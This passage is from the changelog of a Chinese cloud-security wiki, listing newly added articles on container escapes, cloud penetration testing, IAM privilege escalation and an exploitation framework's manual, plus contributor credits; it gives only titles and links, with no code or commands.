<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云渗透技巧 HackTricks Cloud（英文）</li>
<li>云风险百科（英文）</li>
<li>CIS Benchmarks 下载页（英文）</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《AWS CloudFront 未配置默认根对象的风险简单分析》<a href="/CloudService/CloudFront/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.1.19
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「happi0」师傅补充的文库信息，感谢「happi0」师傅贡献的以下文章：
<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《从脏管道（CVE-2022-0847）到 Docker 逃逸》<a href="/CloudNative/Docker/CVE-2022-0847-dirty-pipe.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「happi0」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.12.26
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>火线安全每日云安全资讯</li>
<li>腾讯云鼎每日云安全资讯</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.12.20
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Kfzz1」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云渗透笔记 CloudPentestCheatsheets（英文）</li>
<li>多云资产收集工具 cloudlist</li>
<li>BloodHound 收集 Azure 数据工具 AzureHound</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.12.16
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云安全向导</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Kfzz1」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Azure AD 信息收集工具 AzureGraph</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.12.13
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>CF 发布 v0.4.4 版本，更新<a href="/cf/" target="_blank"> CF 使用手册 </a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.12.4
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>CF 发布 v0.4.3 版本，更新<a href="/cf/" target="_blank"> CF 使用手册 </a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.11.25
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>AWS 安全公告（英文）</li>
<li>0xd4y Hacking in the Cloud（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.11.10
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>devops 资讯（英文）</li>
<li>0xd4y 博客（英文）</li>
<li>GCP 渗透测试笔记（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.11.4
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「一生热爱」师傅补充的文库信息，感谢「一生热爱」师傅贡献的以下文章：
<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《K8s 集群渗透》<a href="/CloudNative/Kubernetes/k8s-cluster-penetration.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.11.3
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>AWS 枚举（第一部分）（英文）</li>
<li>AWS 权限提升（英文）</li>
<li>AWS IAM 权限枚举工具 Principal Mapper</li>
<li>AWS IAM 权限枚举工具 enumerate-iam</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.11.2
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>《Hands-On AWS Penetration Testing with Kali Linux》</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Kfzz1」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Azure 靶场 AzureGoat</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「Kfzz1」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.10.31
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>绿盟技术博客</li>
<li>CNCF</li>
<li>容器魔方</li>
<li>云计算D1net</li>
<li>云原生社区动态</li>
<li>大可不加冰</li>
<li>一次简单的"云"上野战记录</li>
<li>S3 公开存储桶密钥扫描工具 S3cret Scanner</li>
<li>AWS Redshift JDBC Driver RCE</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.10.19
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>HashiCorp 博客（英文）</li>
<li>PeoplActive 博客（英文）</li>
<li>AK 等敏感信息查找工具 trufflehog</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.10.2
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《安装 CF》<a href="/CF/Config" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.9.26
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Alibaba Cloud Certified Associate, ACA</li>
<li>Azure Security Engineer Associate</li>
<li>AWS Certified Security - Specialty</li>
<li>Certified Cloud Security Professional, CCSP</li>
<li>CompTIA Cloud+</li>
<li>GCP Professional Cloud Security Engineer</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.9.21
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Azure Cloud Shell 命令注入窃取用户的访问令牌</li>
<li>Gafnit Amiga 的个人博客</li>
<li>Nick Frichette 的个人博客</li>
<li>Chris Farris 的个人博客</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.9.15
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云渗透信息收集工具 cloudfox</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.9.14
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《记录一次平平无奇的云上攻防过程》<a href="/CF/Cases/cfCase2.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>记录一次平平无奇的云上攻防过程</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.9.7
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>CF 发布 <a href="https://github.com/teamssix/cf/releases/tag/v0.4.0" target="_blank">v0.4.0</a> 版本，更新<a href="/CF/" target="_blank"> CF 使用手册 </a>板块
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.8.15
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>AWS 靶场 AWSGoat</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.8.12
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>福布斯 Cloud 100</li>
<li>云计算隔离问题：PostgreSQL 的漏洞影响到多个云计算供应商</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《本地部署》<a href="/About/LocalDeployment.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.8.11
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>2021 年云安全事件回顾</li>
<li>Christophe Tafani-Dereeper 博客</li>
<li>Google Cloud Shell 命令注入</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.8.10
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Lightspin 2022 年 7 大云攻击路径</li>
<li>安全大道资讯</li>
<li>Deepfence 博客</li>
<li>Lacework 博客</li>
<li>Humanitec 博客</li>
<li>Orca 博客</li>
<li>Praetorian 博客</li>
<li>Ermetic 博客</li>
<li>云安全入门资料</li>
<li>云服务漏洞库</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.18
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《一键查看安全组》<a href="/CF/ECS/vpc.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.14
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《利用 aws cli 执行命令》<a href="/CloudService/EC2/ec2-exec-command.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.13
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《我用 CF 打穿了他的云上内网》<a href="/CF/Cases/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.11
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《下载存储桶里的对象》<a href="/CF/OSS/getObjects.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.10
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《列出存储桶里的对象》<a href="/CF/OSS/lsObjects.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.8
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《列出当前凭证权限》<a href="/CF/RAM/lsPermissions.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.7
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「一生热爱」师傅补充的文库信息，感谢「一生热爱」师傅贡献的以下文章：
<br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CVE-2016-5195》<a href="/CloudNative/Docker/CVE-2016-5195.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CVE-2019-16884》<a href="/CloudNative/Docker/CVE-2019-16884.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CVE-2021-3493》<a href="/CloudNative/Docker/CVE-2021-3493.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CVE-2021-22555》<a href="/CloudNative/Docker/CVE-2021-22555.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CVE-2022-0492》<a href="/CloudNative/Docker/CVE-2022-0492.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CVE-2022-0847》<a href="/CloudNative/Docker/CVE-2022-0847.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CVE-2022-23222》<a href="/CloudNative/Docker/CVE-2022-23222.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Docker 用户提权》<a href="/CloudNative/Docker/docker-user-group-privilege-escalation.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「一生热爱」师傅，感谢「一生热爱」师傅的贡献。<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.5
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云环境利用框架 CF</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《一键接管控制台》<a href="/CF/RAM/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.4
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《列出云数据库》<a href="/CF/RDS/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.7.1
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《列出所有服务》<a href="/CF/More/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《列出所有的区域》<a href="/CF/More/regions.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《刷新缓存》<a href="/CF/More/flushCache.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《调整输出的信息等级》<a href="/CF/More/logLevel.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《查看版本信息》<a href="/CF/More/version.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《查看帮助信息》<a href="/CF/More/help.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《关于作者》<a href="/CF/More/aboutMe.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《自动更新》<a href="/CF/More/upgrade.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.6.30
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>增加<a href="/CF/" target="_blank"> CF 使用手册 </a>板块
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《配置访问凭证》<a href="/CF/Configuration/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《列出对象存储服务》<a href="/CF/OSS/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《列出弹性计算服务》<a href="/CF/ECS" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《在实例上执行命令》<a href="/CF/ECS/exec.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《一键执行三要素》<a href="/CF/ECS/batchCommand.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《一键获得临时访问凭证》<a href="/CF/ECS/metaDataSTSToken.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《一键获得用户数据》<a href="/CF/ECS/userData.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《反弹 Shell》<a href="/CF/ECS/reverseShell.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.6.16
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Terraform 在线可视化》<a href="/CloudNative/Terraform/terraform-visualization-online.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Terraform 可视化</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.6.10
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库迁移到 Netlify<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「想走安全的小白」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>开源多云安全合规扫描平台 RiskScanner</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「想走安全的小白」师傅，感谢支持<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Esonhugh」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>腾讯云官方 COS 辅助工具</li>
<li>阿里云/腾讯云 AK 资源管理工具</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「Esonhugh」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.6.7
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>从云服务器 SSRF 漏洞到接管你的阿里云控制台</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《从云服务器 SSRF 漏洞到接管你的阿里云控制台》<a href="/CloudService/EC2/aliyun-console-takeover.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.30
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云服务安全漏洞汇总</li>
<li>基于终端 UI 的 k8s 集群管理工具 k9s</li>
<li>从零开始的 Kubernetes 攻防</li>
<li>初探 eBPF</li>
<li>KubeCon + CloudNativeCon Europe 2022 相关视频</li>
<li>火线云安全沙龙视频</li>
<li>《Hacking Kubernetes》</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Terraform 使用入门以及在云上攻防中的作用》<a href="/CloudNative/Terraform/terraform-introductory.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.29
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>CNCF 云原生安全白皮书 v2</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「tanger」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>腾讯云轻量服务器管理工具</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「tanger」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.16
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云上攻防：RED TEAMING FOR CLOUD</li>
<li>云上攻防二三事（续）</li>
<li>AWS 控制台接管利用工具 aws_consoler</li>
<li>云上公开资产枚举 CloudBrute</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.13
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>k8s 调试辅助工具 validkube</li>
<li>Bridgecrew Blog（英文）</li>
<li>浅析 K8S 各种未授权攻击方法</li>
<li>Trend Micro Blog（英文）</li>
<li>企业迁移到公有云之前要问的5个问题</li>
<li>在 AWS 下查看自己所拥有的权限</li>
<li>APISIX CVE-2022-29266 漏洞分析与复现</li>
<li>保障云和容器安全的十个注意事项（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.11
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《S3 任意文件上传》<a href="/CloudService/S3/unrestricted-file-upload.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Bucket Object 遍历》<a href="/CloudService/S3/bucket-object-traversal.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.8
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《RDS 信息收集》<a href="/CloudService/RDS/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《MSSQL 读取实例信息》<a href="/CloudService/RDS/mssql-bulk-insert.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《PostgreSQL 数据库 SSRF》<a href="/CloudService/RDS/postgresql-ssrf.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《利用 IAM 进行权限提升》<a href="/CloudService/IAM/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《利用 IAM 进行权限维持》<a href="/CloudService/IAM/iam-persistence.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.7
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《在 AWS 下查看自己所拥有的权限》<a href="/CloudService/IAM/list-attached-user-policies.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「da Vinci【达文西】」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云安全态势管理工具 CloudSploit</li>
<li>Azure 红队利用工具 Stormspotter</li>
<li>GCP IAM 权限提升方法 GCP-IAM-Privilege-Escalation</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「da Vinci【达文西】」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.6
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Rhino Security Labs Blog（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.5.5
<br>
<template>
<a-timeline> <a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Idle Life」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>开源云原生安全防护平台 neuvector</li>
</ul>
</p>
</a-timeline-item> <a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「m4d3bug」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>k8s 安全风险检测工具 StackRox</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「m4d3bug」师傅，感谢支持<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>火线云安全知识库</li>
<li>多云靶场搭建工具 TerraformGoat</li>
<li>Cloud Security Wiki（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.30
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《APISIX CVE-2022-29266 漏洞分析与复现》<a href="/CloudNative/APISIX/apisix-cve-2022-29266.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>WIZ 博客（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.28
<br>
<template>
<a-timeline> <a-timeline-item>
<p>
